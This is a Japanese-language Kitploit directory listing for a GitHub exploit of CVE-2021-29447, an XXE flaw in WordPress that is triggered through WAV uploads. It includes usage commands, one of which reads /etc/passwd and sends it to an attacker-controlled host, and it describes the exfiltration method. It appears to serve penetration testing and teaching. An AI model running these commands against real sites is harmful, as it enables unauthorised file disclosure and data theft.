Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-29447 | Kitploit
ツール/GitHubGitHub/danilo1992-sys/cve-2021-29447
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubdanilo1992-sys/cve-2021-29447

CVE-2021-29447

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-29447 - WordPress XXE脆弱性エクスプロイト

説明

このリポジトリには、WordPress 5.7.0以前のバージョンに存在するXXE(XML External Entity)脆弱性CVE-2021-29447のエクスプロイトが含まれています。この脆弱性はWAVファイルを処理するメディアライブラリに存在し、攻撃者がサーバー上の任意のファイルを読み取ることを可能にします。

要件

  • Bash
  • Python 3
  • Docker および Docker Compose(テスト環境を立ち上げるため)
  • 脆弱なWordPressサーバー(5.7.0以下)

ファイル

ファイル説明
CVE-2021-29447.shWAVペイロードと悪意のあるDTDファイルを生成するエクスプロイトスクリプト
decode.php流出したデータをデコードするPHPスクリプト(base64 + zlib)
docker-compose.ymlテスト用の脆弱なWordPressを含むDocker環境

使用法

1. テスト環境を起動

root@kitploit:~
docker-compose up -d

2. エクスプロイトを実行

root@kitploit:~
chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <対象ファイル>

パラメータ:

  • -l 攻撃側のIPアドレス (LHOST)
  • -p 攻撃側のポート (LPORT)
  • -f サーバー上で読み取るファイルのパス
  • -h ヘルプを表示

例:

root@kitploit:~
./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd

3. データをデコード

流出したデータはbase64でエンコードされ、zlibで圧縮されています。デコードするには:

root@kitploit:~
php decode.php

手法

このエクスプロイトは、WAVファイルのメタデータにXXE外部エンティティを挿入することで機能します。WordPressがファイルを処理する際、XMLパーサーが外部エンティティを解決し、サーバーが攻撃者のサーバーに対して、ファイルの内容をURLにエンコードしたHTTPリクエストを送信する原因となります。

参照

  • CVE-2021-29447
  • WordPress 5.7.0 セキュリティリリース

警告

このコードは教育目的および許可されたペネトレーションテストのためだけのものです。明示的な許可なくシステムで使用しないでください。

ツールをダウンロード